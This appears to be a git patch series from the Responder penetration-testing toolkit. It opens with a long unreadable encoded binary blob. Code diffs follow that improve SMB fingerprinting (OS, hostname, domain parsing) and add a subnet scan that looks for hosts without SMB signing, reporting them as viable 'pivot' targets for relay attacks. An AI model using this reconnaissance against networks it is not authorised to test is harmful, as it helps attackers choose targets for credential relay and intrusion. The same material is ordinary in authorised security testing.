z*-W-OR+HmW+<_RGNo_M0Q2g;5wCTam*n55@ohR)D4b$$vAjj`IZ`lj--ZuiQ_*FN)_{G&k-x8&la5ztp3B{ z>JFUK0MM}k(7!hOH%sRd?I%s8#&KgPV0$5W|BG~nm4~ySouFmg(_g5|-ectWPXCG~V$Hh)XC=`%8>?a8Gqzsm2r+BsEU{q5 zEYWS)&;EyX@OpMUJcS?u0NztBGH zUnifsigLG-BhJh_Bd#;#uszNWLQbEg)SK669L}6(VC^~^>+fxlfhDKV7n=FI@P6Iy z+#O<1?oLs-ZMW!tcc0OtIgg!5ov|lshx12g++XR7v(waDS7^o)-t)hYvx=`N_s<_F`|35S zU>#)jp<_R>eakipdE0l1#JGg2j)&J#z=J~EVL61oeVmmagTBT2V!Lq@s8N?*^l`=< z3S6^?Ha-4@_M+}PaE`V5(T~()KgP6!x%)dfzxkzQu>gtq^BSxKq$- z$(Pi8U=lSPI-dF*I7Q>GeoZ0!aNlDa_VwnirWV~J$ZyhI3SPR3G}uQTiu2-e*b7^N zdauEr#$uGe7wdzNaSK;fvu}q z!Z~Og=-QTFj3K+^QPd%GKF)g=PzSWRFL>T56*@98jl8GLqfqSOCSAw=C(53SHeZRo zpw-w5T93OYOMm{3s&)K-+I!FFtg5x|cL4z+1PDbz>AeWJdM{KdQXAe$*h!To|^b!yy2qGdPB6z>Qb)!!i?{oHh&N%18`LG=$o3crAuQ{)I zUH>-kv@Tk_!Fxi<#y$SG?>}V1SfShSp~BW3JH^(Qzl^lW_&U;#JXDKszN9DbiBx9( zRo}iPQe#|lL?1MY-ZVN=5AVIkgh`RMJGMp=Idku#y^j9=9D36=^zKmG`7W{?ePn0k zX{7F~ReK6J?S#U$--&+w*YyvdKm7h(l7WgkU_U46WUO~9-=wGYu-->LFJc?eu=EPk$%Y;Jv+BQVwO-1&G4U( zfA#(6u2?QCoi|_Tx_gr_Y{G7WAIF|f{rxuCxSt|Z(f4LQxD{FS$KA+WJb`Jf_xzjJBWq5c`0Ut` zFG_B|bU{e_{NVqq@85s=G-1=K&xA4LGJE#uBaHrdcF8eoKI=Aa^Og-Cef7ohMHjz0 zHt)!x!^?JVpSA1Yp(cAaZ_2dt+tb2VXg}MoT>Ss;`)^n)^c*lq7_)GZFm}rZVcf2r z!bc~L3X86ME6htfA}meaBWyo%MA*4~o3P@{xBtiQAC(LK$`V0VD2~LCosUpn$c|o7 z9O9NY)`uOB%>E#SHEBYQl*mVocdaC3{lC(|G50sqM{L%xU1 zA!LVCX5-h`>{y{&zJfc6kW*3^Z>I9)xg!&x^3q}2w-@Y_>d_-kNdi0QTQx``Hb{HAS7IcG4 zc8$cr+j7dyBNZe+fHJZ!g3t`^CgiFllv|PV)J#7V@qRcFu`i@XT=LU3Zju@O`9!24 zSg+^@i{M~=;eq`ld7SnU@?-@YCH4^-*J&Y?S(tpj>UU&pzaTF_zN<35%sjxK;Se^n zw&A7EBW>=Ujl7=vMWkrgX>h3ikz#JEORv4zIqRVLbDN6iw?(|Pb?}b$5p@H3%;Dp} zeo5f_v5|`41cMpz=BZ=!hqIA^c%^YiM&#$ZSBOVV68JBhOW~GZ>fLjh(tT(hSTr{MXBow?6+m@?5wV|^j`LvcJ#ta{k z#U;D=+F7zthsb+Qo)mGXE{|;cDH2J$7m4&cb0bo2z}QID#S0?-!M%|VXHG;udUP`~ z^2o7B$y)CYP8u~z=(T3a&>G+2HJ{oasqoq2NXbqEBco5>iX7vIHtgi17Fh)mtQN2i zL$98XETAu~WA41%s9WH+sC#_gLzo)<0b!M{y)lao(Ir z6>@x1{|_S7M~#a#BfmQ~<6>mdy&KHCNTmAk=_6ip+X~_5fA~R?Fm1v_Vb}7{gb%i^ zO>RvFs~&l>MyJTV;<0sQhK#?P&g=d$vij-$$fOfr@9{@35b94~@gJX`JaLk+m2Ahr zJ)49{$;rxyGihm~nR8S4ocX`sAy0HWvgGEqpH5yp+hfw{(}F*GzEB6B>Ywlb&*u-= zw^hT*^fo;Wjevf z=}3B(j7Vyx@wBWFw3N5c@Y5-q3BnXE6|Ls)KBL8~j-+SW61kUUL*!BRsgb|(#PkYJ zQ5HcIpLLn=W;@-6rW5v@@LqdnA)fyY{}kS857no?|Ko4tIDiGkvZ60`5=V)X#qHvL z@q&0&{DaHJaZ-M%s8mr>BufgUdQvl~wbVuGB@L1$OS7eg(lTkCv_;w_9hTCh@1#3Y ztXxzsCtGqSd4N1i{!G3t8_K)NaOErIC*?OKw^~3gr&d)}wWiugZLYRfyQ?GA32L&s zTHT?ZQ*&z1Yt^)tS|`1?{=S~9FVRoyKkAu`yhcf*lA#*Cj3I_?)-`9F&snvts`hAm zioMd_X&<#S>|gB6PHv~9qdSeAM5muK+L_@jb+$N%oKwzKC$sCg@4IEZvED3it+&Vf z(!1hi^FQ)qf?WJ8DlMoL^bJ@Xev+ynSYl1Ft=LnXBz`O|7B`EB#p~j)VvJNsDlh3$ zZK;Lyw)CO2LRu^Blk&-@zf}7b}{FeOU=FJ2{YY%VCJx1woEIq zUbQ0Di*^;;w42!z?2qk5_UCpC&-$Dzxy#%g?&t1tH^zI-d)pi6jqnzFr@YJF58gfR zMPKn7_;2}xgOS1HU{stj<@rs29~=)NEQF?M1D&)=KN64betxo3$^sYub<61I^Gk=^1)qqn`1; zG1i!DEHc&_n~mMZ0plBRBDEu2wHA z$x5+yS;wvKt=rb0Ru=m?`$fBw?byxjckTZ65PPCM-JZj4@3+6QAK6))TuyPva6G4` zQ_p$Bd6)fe<}P+uxkucy?p-&FSHN?;Cf+;V`|S8CFV*|nd+O!(YxvFlZvIezg}=l9 z-hb%F2Tg;IgB8KX;8<`zxEF+m!V#7zlUPJl#cE*HQ<0rNWXS)s^0q zI!QyManf>WuXIa#Prf0)$d3C;Bc+|vOBtnntbD5MQ?4ozrMRl79n=l1-VE)8c22ve zJ<;;$CH2?!xAcMfhx$x?g}#F-|6YHn=QTR z-$`=DI5VA<&N^qCv&T8+oN>N)+Pm}IP3|eTtasQO?BDgP2ET`UoFE95*<(R`PRz&I zepysROROgj5T}dF#7km%>0RkJDPArw>vCQEw6_En%~(U5jcx9BJJhV17W>4JV+vM9tCKZ{6W!7N z)z0oTciwRVw}Cs_okQ)Op?2e`+}FJ>-lyIsk2gXPHuKtANZqKo52Xe4opsVd>8SLz zbU{j&evs};e@I#7!g6W3f-K9n+(2$3w`4a5$V26k@-%kyQ+Wfsc|gvjR8lgjj#^t? zrB={HP1k&_me!gb?5PdZhH0a;1H5`!pQoSK*BWKam#q)1qV`gIH?Q+KXOOekiFNzA zH{6n51+S~u-&^e+@XmTac@ZzxFCJLIhruVop>REu_?Z>_Qd1f#&5|xlZRN@G_i{dE zh%!z|X1zXFzExgVd#c;jo9dtHcx|1wPdmUFm}l%azBVS93r*3gWtFr$*#qr{&OE1- zYq%}l?(SFaQ#U8)`em;+J^YCGo9Fxe{UQD|e~W*@zvN%{BYteqI`}Gl4avMWD!=3v zONnj7o#H9+9jUuCk~6zd`h+w4r_@9qD=(9G$|vM&@_qR)_O-ZDfiv7pY0K+epd3;P zs1?*eZLGFa`>Si!uhc8*@9Gn^v^HFu$7?>QUC@f@rS*z>UA>b&j&r<0FJ$;eO{1>y zmXT<5G6osLjFFt=xpc(6#uvs}TbQfNSgQgZu$5KGPGpMxW#@5T zV16xgQk{10J8lnmm^;Z`?&kJfuRWctoG<%r{jPoc-_toLdg2n1iy1*gzta?ekran;rQ2$c%YA?^k5_|9SH9CL53yVTv_?sJd17u{R# zW4E?9(i8mrzDaj)?f3O(`g{Cu{M-H$zfRC5csm#tETzLo`{H`uBbhbIB$lQdwiFkL z%f$oYmtrv{yDLor(=3**N!jIsa)R6z{BljMsWenBDMi%V>Tqo`T|9+TQdlpq_t7VT zPd4g@^)&sW{)_%dFKCo7${AG*jVh>PBp7ef?YbEQjiFS*IAeyf*jQ&AG`?gio;R)= zKN^pWzl>Z|LNO*|6;n5T`rr_H#9DK+dDuK{W`F_yWMzt5Wvy2%3&hjNYHGb_^|yvt zBdoF3Wb0#Vv9;1#XKi6}p0%zsD;`?U+4=03>=MjQ({5n5q0984whq|m>|6F@I%qsK zR@^D)h>qjDN;mE93~|Ofvz!gi4rjk}6tr|6y!5^EE8R85&FdC)i@IgpO5mrOZWB6f zXZJm~FIXzco$4;67gX}9c@4ccsnE_|UvG#v(_6;r+~*zl(!F22Fi0?z(!41DA#2KR z=EqgFyS9u9@Qm8#Rr6=_SMztCGGb=2vRgT=JXU_IpjDV>E^UPsoL)Y0lp^{(-&QONYn8m47$16OQv#(C4cmELW>UJf4(+3)9n z=I`~>{EPlQ|93whXHN~@WPWT7t_MQ8AnfM(3X65cBypvfM{=Y(QV(goG*?6`;@fN=K&0N6Ku@+&*Q5I#J!IHrGDlyxh?Gf)JpZ1Lf8}0sd$9-G zS)T{qUtUhXr@zzx!awalU;^e03I*%w(>H=J#6g=B@^KD&iXV#W#4p4XVg_fylWKwr zzh$;Oma59{Fh>^4tC?{n)c2VF1)2Npw9eXm?Q`ua2(S#uwwXRdU!$MWi&Ez&jI3s9 zv!>a~{Mg)L9yD*TyIC#QYG*C53ffiey7oI@*d2CZM|FPk#`~Z8Tm4hMLI=wfog2Ny zIpP87s`R~dn-zRc&dX^mB8$x9TCCw?Ig64@DH82tuP}=}r8Yf#i1MK_5!^LTS*om5 z)+yVRJ1$VA8gNifC<9OdMD#u<2|Fd(I50S%ot&eHpUw>%w^_hW-ZHtmAvV8 zai_Q+`W*uy_1WuvNy<=vRt2v`_>SXIoX_P9yLqS7b{v-EXmU7 zj-FMW4q4A?XuWPVv);7YSna`C@6s=O(=i8I!|0i#t?_itsr1b`)Z$|66T0UbYXkjr zhqcGrZ+&ikX&tk^w!XE_TbHeCaFJWqPu4HiZ`L2yQ!A656;_hV&TBspHz{hDw9DER z;boGo*_Q3u)$Q7LJ-ea(dblEV-u57vckTD=-td>f_Aq+{e097%*`5lAn`1Aq7u%oM zAu|u_?Q`+InnlZ@)!}c1_{_Zjmmo;`Ci8bUucv|s-|)J7L%n2wmcN+O5);e`=Y5IH z(S6NASNmNoDfN-2(sQza+M6kVDw#o}jkF2YcFW@xUADisr#W++13sT8W{%eLda=LU zQ#r5Jv}=K@N4OumpSTr0#j~Sz`|LGjSx+c zEs>h4V>U9InQhHZW_NSG`GVEh$^@643a-rKe-!Kmr&Em#?#$8mPQEVYlA23xq zi|+JL(>TLB^`mg=h9HZ(h7L>2>ofp4J@1w9>Us&@6t7`0Fh~uK!t%m*Ev(F!Yb*^> zMku?KM_Ltn!cBdEkz~GZjg0ck@y>mBTlB1D<~_;iOv>x}P+0pd{ht0i2qvo`87shX z4*aDL%yqwY&N|{=b8Esm?|Cah8+=mAv)7v__7FdiPDu6T_VBAM@+sMdDGKWIY6Eq) zCg?foO9}MK)8=_Ig;`z0x#Bc-e|H;!uWyI1VSVOkZ|MUfE2!Zw{@@YbU4&)#ldxR;rC2;^tj@ja?CE0d-D z(i!^v18IXC>QZ6fJ1n2Fg!nAcb1_T#L>2V>dW!jy9lil#`2Y6^d#3p8_jfdYU+vlN z?<-XdAt6gheTC+dB6pU1$Y01unf0gSv+_mxs@z(6pDD3~se1@^o(p9Ay4Fq0(0)H=Y!n@ji@a|*nFDh0VrP|FqOvW6Z9z{ftmVT^r9vDr}`>=EqHS)mA+R$z#RGtgz$}iM!%q6 z(XYd@f7I{l_t}BR)MsWR8@rI($Y;D@ykrzZSt!TMs%prFZrI?{8pf+eeWQ`l#At4` zqBc4h?-*UtqWTyEP;ov0v5qk&7*mXC#!UFjLSu>XDTsZovC-JdzV1caIZQ1b2g{y8 zEAx1C)|u9B`u1fj!+HQ-EP-P1 zDymU;yB27*n>*MYi{4f5JCNmV z?`LnP|4r~y@Pyf%C4>XQBe9Ysf|BZ?7_kez{rw!7EYDuU7mSJ?`z z*@;)!M;ojy0274FaBed!pIOwbN1d%_dL02FJupjHl`R{@(Any1%>oG=w$7kEzG~01*P%E4jP6mv zsp>Rw+B=`3xZMI>mv>z_&=7ZoJJDU?u5rIaeZAn`WJOAPoxo7Xy-OhO{Qir+=r{7$ z_yvNl@XsB={@{z?Rv;v25z<(uQsNr%Rp#{u^pR}x3vvm$hCG^@_>B3WD0SKSKFVMv zr&>#0hW>g|?ZopBM`v5E9nvm?E=%aI>4~s}1Nt?dFq2WhD9ou|4NAIB|MJaKrVbLi z3LAV8oKl0+Fv~t{U$t|fkbmSXcGf!w&<`J?tu%5yucr5wHwo-_4E_}FJAOky5tVeT zf80OoUxh<=3;G4`qwh?FM{i|{o<(s$D@~#Aau%|QS>*yC^s;g#S%EkAlSjxiQJk*I z*_Dz?RYhkyEmOWwPNMrvbuP@}l6sH*f01gfr8U-? zY41{%?`u=EIocv^lXgt|P0NDX(o%0nryj4*p)amQd;UVds^^0xbpxNiZ%j3o8tdU8 z;YvuLiq2q`-_7Ev%?eseb?Yr_Hn?vayyMS8)R8ONNUH3}*)zQ@V_=iyx&-mZ@nS&O=^58aDnR&%pWESI47JMfD z$G8ShMVAiIm=4iN8q2I(C~cBM)Ab9aQMQlsGlNDygpeIu$b&{qQ9EVO6?AUwYPJy22smu%J8on`ko|!GkyS?1pQ+ z&iPMblC5TL-Gb}CXAWet%r(!Mcg>uvMn81Ux$uDP)?Mo_s~kxF4ZEE^msQvTc4>{b z&=UkRic=H1NvEAl&UNQ!C*ovtbGa2+iRSKM_b0cWx4_%N^JfYw1$BbvLHnR*5IQf@ zf|OuwkRIGYkI3@3R-oW8y^g^u`=o z0j-GEgg%(aQ_h8R$H8Jdaq6GIqb#E%I^%R>KGXP?QQj26(1Yo1=`ik+mJX7Bho@U+ z?X@mhzgl^1*05Wu7fUFv(ilDb8oN~*m#;RuVRv;p zPjei1?=kbJ7|66SGiQi)iSC^NVtN2x5!~OtN6_9*>Xpz&j)OQ}G+&|GJ5%e^>F|fZ(^t*Mu!)-RyF>7} zM^<*bFr4i*&U{xU+Ijn)UD;{pbaf^=bE)pV&gaev*5U!mR{=Dy<|wd(-0ALT?$_vy z8E#fD9_?B7TH>_z@=mDJD)vZUN#DTRFH1M1 zA8{rgN>8Lra;%(N&X4n0f}R^93q$rn7xn19&2cP3C+9u7@cX!WW6+*v$n%-Dt3eyP z@pRJU({hIVGb+k+N*<6#Va{54rHY~`CaQ2-r6+puW>l%;%5Az(toj1`*iP-L4rV$p zS2wG>)D!9t>Qnl38LbK&1Gg6RFaTwAHxoJZw_>ByIA8~RgJj3!CoBfBo`D@a){CQy zwna_oL&a`F?Z1UP_&X}-^Hi>3)&dhYFJ7DaI^dGcbe5pw9dUBF`CSFPGLU}0(cML5Uv__Rv$2m7 zntB4eILw=Xmbl+LiD&eym&sRsm;T<-AM8(oYcGmUz`OoaKX*_dC<(@Shg}>Nj0tuH z2XPF42&W+b#R%bh%0Khkis81|VpGshM`rvkwB>VRRw<8EK=Rq$>A1!_@NRyUGRtx7 zTFt2U_O9Gp9>{KumRI7#-jwgj51F0e?vz$uRwU(Br5|3?bTHr&WfP2bzj8u3%PhU6 zJXU(Dk-Y;4z(sn?BY0SDy%tER8E)iAJeshNEZ5iJ%k4q& zJFQ=WH~k7@&0;)nRD%yC7%i#J(0yG4%lX_m4Y$cK?!jqd&3KqhX*i5cjkW_rCZUI< znrY_uc$S4ws;gTqn5rXL$urE6N7nPU!6a!&wZ3I{qhbd~z599gT2}T7TKprs099)` z)tm&UrPGB@{DCvc`PkXbI$v_0IM2HpntKDcsoRRxUV!7V$=#06d&zx(50--(E`bkM z)zhiu23|9-9gblSFUcE^nm3;v*n=PZ4S3G--|*Knn-BU&{jdF>{6F!?at8&2V&ooP z4(ys9f5)o-V*hSO?5v=g!XV+7S^wHj zBj+t<8;#_cXsL z8H=I*bbkX5!B2RQV$e949?TEcfRzu>?awm(1u-UiXEGO>Z7sUP5OJz_i0nmqSfmLz zYK=SDUmA@AwVzJ^h#ZYgKL~sGR{FuqN)u{+hB8;#h^~E*Buz#5UORFb57n$>W-3wj zO<;3X&g3ZlhDhqX4`HpFdz6ftly!+;>7d&2Oo=NgsiG7Qvp=&^&*z zir6o+W&`Y@=#!gK(DFH*>7qNGsP>_D6z&&l!1r}trKvf@2%d z4-no4rp65?C#izz>~~YI4Jzbjbhry>0kO>Z7JhgCLnea_!s||MTtqXJ`|{p#PlUp=M?`^zzVEOhqmE4WI1=6ukt_%LsJK-7x$tXxRz$r|B@nOi^#Js-uDV z2cX)`cW&dimUSzWvT!&RAHa=1b?>796r=Za^7^2x&Z5s;Gn!cFPIT*4lae-Nn%VicT|!-@-o>O7d0fDd_%w|sbni+l$=Tdr7S50PwAu#;^{{- z>q5oj9N2#V3c+$URlTg=OncagImIgHrq{q((AKt@_jYq}W3og7& z2dRp`*8*+%1JXw`Ko+0jOXcS2*MTTB@L+d3LqRlE*{SZ-W#Vn63a&Z#sDu2tpCQJd z8cmlhbyr4bUg$|)MD6|A{mYH@@-h9&k-uu?4WL?Pf+x0kU!fq~^RoM;e8aEn_x2~@ zA@1<^(}U0Z_x&6}>A)d*)EyTwCD<9(P%ma7zmydXu{C+4kS-5VMp7&5mEClQQm~`xV1kukwWfMMYU8N>E$FMD zQ3e#ClEbM1Q%o@S!CQ`kh;Go`{&X{Y*}WH;DfM~v)%>O8h-wB6K|K9}4}y7U7njk^ zV?w(Vob$X`6qaj?9Yh1Sv!V2sG*Fs?2E123EMJiClKE@P-Yo_}ilqBKQrFS_AAtWe zYq459X@O#3M@{pznpzvsV>kNNV66o?nK3AiON@PR8HxSsh61=51Q=tzXf=VY&Zbwb zgtuR@veBvP;-t(%kvdObe@aKs>6FIPZsznM36|`nz-qSOafMEHU3WZv>n44x3%m23 zSIQ4S=*Owf@=U!CgSo+mXE-i7CaPy-7psbiu(L~IcIg#q6o@TGevQ5~iKn|vm6oM1 zEyP{?NvQ!YUd6e*t5(vgPp^Zz^9Cu2p8ha@ zv_FTs{GGo29;h}sSjNoS8GIAmN85=BtvvLMoMI)hF|I&=I@xIPBk@ylHJQk-#M9A? z=p!*V>YgoClU|h)=x*&$IwnaoNl|Q*4oRm`IesF4l2t|x_eb2`=jaC&P}%F~U0@*t^7ZcoT+Ej;%u~lS9gV1<~NI@R=-0!Z5zGwDcv(K`GnF|Rn#OK+%eSJ zhrF=@%;p>5D?P%U+HFN6)uUGGp#hpZT2^(GlyC;hRL(VhwY34;|(Ow}e|G zitu{7AA&Ykx@+CksP2@FT!qRmPGkR4LDG+zvju$JuMIOvLYbT5f9!7u&;5bESeE?i zTU2rn9Iol$jVmF$TpuIMVE^LCFgApV^rfe477ya;d_%G~PAX1iThSzIZz_DQv`YFS zx?4X=f}D#aSpbjhB=;oywt(c@9#ra!>`?ZoHZ7A7t*^YvPW8q=8wWF)rz}@eQTR?r zm74p}>`*ba4B5x(Y73HHW7)msV8Adn^b7fc((GG%rufI`dTX?8Xj&1ixUS)d^u@_r z#2y`>XQi_@Rlwy9aGY1s6|Ui*KQ(gTDJZ5(mh^QH;X616Ls0mR<96RSpT`ZZZ@pn9 zk|!O6&pX#zWo;r)ltzNKSQHVqA$u^G=|A3HZEwJv`h(O}aYq6N`c5tMknXU@u_P?F zqx4on34FsH>W-xQ?||oI^>Wi8J9)$5{?olVUJ6e6Z)8N`*_T&gH^cpTWEu8?v`_fI z_<5tqdJX>Px1fZFVUJIZ5e7xEba5C@3o;k|z=4y*Y2bquaK$aK#Z)pF$JnFu?9vVK zw)l(q5EU_t6bplVUV2F?31X~F8rwusuYPi0%vEv-{T1yOnE?W>gy%GYSHv1%!H=QXtpj=@6qCLSE=qPI_GsxHv>qtC?Xd2~@X zQPdaVJ$(h9yiaZ?Fq#_uz~~>5YFln>V_!ZuzGceBnH9}C%-2s*UM`up%%$10K5 zZ|3#{jZehKNdbMNGPjO{$?vH~r`4kPEU%%}^@4*>CnvZH$8Zl`#Yu4a zk9dQxf!cbbUVTS~q%J&X4m@WSxv;(HwMWrI&ajf-MUx`Gfz~sb+08f-VlOg3%9<}n zHIgu?RL@L+y(f|=?PU&viHpVOs8LcO7inO+~a{(4s~UW zehd%x7rhLb&k-=JV@!;OW>3`iU8HdCNA<_TtbZG_DBEFJ)lmcb!%8PI=TCxKijl%g zfM@k0g*O5AzZ~qj2gY@o%8zqp*K+H-9o)%q|D9m94EIGZK$q>!O7HhF@R>ZSy_w&E ziXV*bIM(0DRQQs)aMsW8AE7-~3QSPkyXf&r%=dZ0r?9h4@cS==uTi8)joy34)3UOv zMa7CJ^qZONzlpU-u-!p@(P1VRn9s4?3n-5}F@%%wkQ720^%Xq3Pf_6Ss`<5-P;~p@ z8ZMyTw`gf_`#4HrZu`>4@5@2R4VBkCG zym3Lkpm0!?eC%66?_fA;-7=VX2wbxYDm5gC+3COashtk^G;76e;saFp7%8_@n%?>* zouLcZ<&<;@g*%h%$&KW0pzKBH^E>28WXw{?mt9lx;bE0iZM=xRRLNsi(8{B22e_%B z8ah^+3Nv}2WkuJ{&sr3xlU9SLwqe3eBr7*xUkMJmjc-++B#DKFKZ1OyXqupn1~@i7 za44_hPZY2WRHeb3)TwmO)#&(NpyYp#&JiJ-U6K0{wd@X@&m<<=r=;YM+NW{(GPoa- z%PEAyQ5hyzjT;gZoLx>~m`o!S?Q!ljvgQk6GW*G|b@0ZJsaykF`O7=V>ivO&5r-!9 z0lba1iq9%!ux6D(5q(KGPGnlmg~gx4-MR&rkC1rmM=E_CXX+kWGHu)2dJ8YnoW&U z^TGT>98n3cP{;SFf!f!I&f7{&#O>~`_W9d44sQ_60-6jx$0ThG^*l|Rtu54+QPu0o zee5RnafHmrX%Zjl z204Y@pR1?95mr+H+fl|3FP-69S+5h8XHUs zrUo<7r9HqqFMmVl%PMSVyJOKX3ZnJ-I8>om7v6*FFAk-<&P2UgLPm6pxL3T) z486;#c_PMwNyGr5gY)m|m2m+3!o@Ba3jAxEdC@#$=XEQg z=kUPQvhp)a1);xKN`9T!vV>H|Dm3_w=x#gVvp>koNxjyivhty_HPTv{<4FzVWpzKY z@47L5aeSVJ@hfT1i%Z-liaEqy$DuKg%kKfJMshoQvh;0rHbUI>!@+ zw-00xny=T!4PJ-xaU88bAW=8pSZQoA_JGa422b20HQXkedbrD-gDF;fy9K^iK9uB; zC2Hteufc{hbALnVl{LH$Bg`W!-CQzpB+tr&xh3$C@{0N@Sf`f$nQoyT&2tx_NH515 zTgPnLhPSfMJ&133+I`il?l(d0Uqd$JgkOw%A&u}t$1u;Yg!3jTYczXj(o3drqv|PY zpdr-<#}**3)t{9=B9~JtD|_%gh2*TlYFM}tS z&~RJAi4$>tx}fm&0?iLX(@pY6fmbH^$^Hyb%X~k@U&fSKjh?=lIlCLp^N@dpWH>J} zC96<|o0TzQED3;k{O&@Wq7q^m)X&OjzAhQ-)~E^{#V#nJy+Hm+V3u*9|739n=s%T? zdXEzo%Z&CbLX-jw=Rcr&PL%6PQoFak0P{MT92Bz9bA*j z%sN8$=p;Pu9J4EfllKU>FoxS71?b2{a0|=8>?(8qRN0hW^rKpGUGnJ(RAo!KHGH8X z&S7`C7ua_Y8Koq7lspdABN-Mk8;vdn7jXqX;(C0uTo0ZW!eu z>XNNYU{bUMr6;N#VL9EokJ*oTF;q<=X*5oq#LSqX&L&^8o{6zt-ObE61cpxo)0}2* zTtaEMp=PLem>mz)M@$bvi(!5gV0M)GKV+)HL{*rl`X^15j5|7;ynG6sYy~>Sda?@J znJ1~tlQibZIoMV@I%WnlC3H~7aYt^3F*{oI>v2I+N&cV2jXH;ScO&XZJ>WzOW(=-W z0kecz24-vL)gUn5e|nP|fRF4LI*jt(I16cy&jZLwDG9Klt@f?re?%nM|U0 z%|M--kD|KFS^-K~50^-@PFkno6PK)X>jv4pJ7i5B;EO%61Utr#wF{t=6alx4vd3}1 zFBzX^HhM`4_kC8t&DY~VY$tJ+Y9E4mq=9PA*_U7-H^4S`P*fh^pFJU;663@=aolMs z0NN?ylyJ)6sZ~Y?RAKZk$fp*XO9Sv^OH|!Nrz5zsJ6O9Px7mim^hY`4&|{LhDLfmc z`=6BSdS^4pb2qoJ4xt05IVZ_{oWqk##~H{#6@GvQC%Cb0I9b#E8zAjF+zfdD-WGzG zAU22#;&F=$;jdK)DsxXu1%tccOjw^a{8{Qk>;KjV1~FZq^@90g3fkIw5cqa+Hyz=S zcmyVM5~XD{9WCLz(xho zfu2TL=}ff-AZvs%~93fxC{0D7(Et>PcYrzTrLn7RLI%64I@CNn!@ z$o4K{$`xWlB{Ok^|CZ2gNz!Wu)8Zs^A&&DCKL1cXi6qoNCuuhPG37tDm&Y!s`-;p&y4hU@;FC=ZcOSi$R=10lZ20M*2xgp`0EyPW8jC}-h$ zPS$60rZ?l3os6DqfeJ3dgfOYrrc`P#>T?oEXa%)+hzd*x`#gaM6aw?8XeI976Qp|- z?~LQ_TXGcXtcD>R0_9waqMUot2@*$-2s?xbvS|u}83k^cLCvm)%k3r~c=}&pl{ltE z8D>Ofri2>pEY;{Ob-7=gfYZ~`Zq3B#$js=@)ab|D82Vpu4K?-e|NgxK|6YNAufV@o M;NL6o|FaeNU#t)M!2kdN literal 0 HcmV?d00001 diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 19f69a7..aeca581 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -21,7 +21,7 @@ from socket import * from odict import OrderedDict import optparse -__version__ = "0.6" +__version__ = "0.7" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) @@ -155,18 +155,22 @@ def dtoa(d): def OsNameClientVersion(data): try: length = struct.unpack(' 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion + if length <= 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion except: return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" - def GetHostnameAndDomainName(data): try: DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) Time = GetBootTime(data[60:68]) + #If max length domain name, there won't be a \x00\x00\x00 delineator to split on + if Hostname == '': + DomainJoined = data[81:110].replace('\x00','') + Hostname = data[113:].replace('\x00','') return Hostname, DomainJoined, Time except: return "Could not get Hostname.", "Could not get Domain joined" diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py index f0921b1..682b0c1 100755 --- a/tools/SMBFinger/Finger.py +++ b/tools/SMBFinger/Finger.py @@ -15,11 +15,15 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import re,sys,socket,struct +import multiprocessing from socket import * +from time import sleep from odict import OrderedDict -__version__ = "0.3" -Timeout = 0.5 +__version__ = "0.7" + +Timeout = 2 + class Packet(): fields = OrderedDict([ ]) @@ -139,15 +143,22 @@ def dtoa(d): def OsNameClientVersion(data): try: length = struct.unpack(' 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion + if length <= 255: + OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) + return OsVersion, ClientVersion except: return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" def GetHostnameAndDomainName(data): try: DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) + #If max length domain name, there won't be a \x00\x00\x00 delineator to split on + if Hostname == '': + DomainJoined = data[81:110].replace('\x00','') + Hostname = data[113:].replace('\x00','') return Hostname, DomainJoined except: return "Could not get Hostname.", "Could not get Domain joined" @@ -205,6 +216,27 @@ def SmbFinger(Host): return signing, OsVersion, ClientVersion except: pass + +def SmbFingerSigning(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect((Host, 445)) + except: + return False + try: + h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") + n = SMBNego(Data = SMBNegoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + data = s.recv(2048) + signing = IsSigningEnabled(data) + return signing + except: + pass + ################## #run it def ShowResults(Host): @@ -244,6 +276,43 @@ def ShowSmallResults(Host): pass +def ShowScanSmallResults(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect(Host) + except: + return False + + try: + Hostname, DomainJoined = DomainGrab(Host) + Signing, OsVer, LanManClient = SmbFinger(Host) + Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing) + print Message + except: + pass + + +def ShowSigning(Host): + s = socket(AF_INET, SOCK_STREAM) + try: + s.settimeout(Timeout) + s.connect((Host, 445)) + except: + print "[Pivot Verification Failed]: Target host is down" + return True + + try: + Signing = SmbFingerSigning(Host) + if Signing == True: + print "[Pivot Verification Failed]:Signing is enabled. Choose another host." + return True + else: + return False + except: + pass + + def RunFinger(Host): m = re.search("/", str(Host)) if m : @@ -255,3 +324,23 @@ def RunFinger(Host): else: ShowResults((Host,445)) + +def RunPivotScan(Host, CurrentIP): + m = re.search("/", str(Host)) + if m : + net,_,mask = Host.partition('/') + mask = int(mask) + net = atod(net) + threads = [] + for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): + if CurrentIP == host: + pass + else: + p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),)) + threads.append(p) + p.start() + sleep(1) + else: + ShowScanSmallResults((Host,445)) + + From 2223ef66895c67b34cac51a32310001a5523a47e Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 29 Mar 2017 14:24:17 -0300 Subject: [PATCH 005/219] updated readme 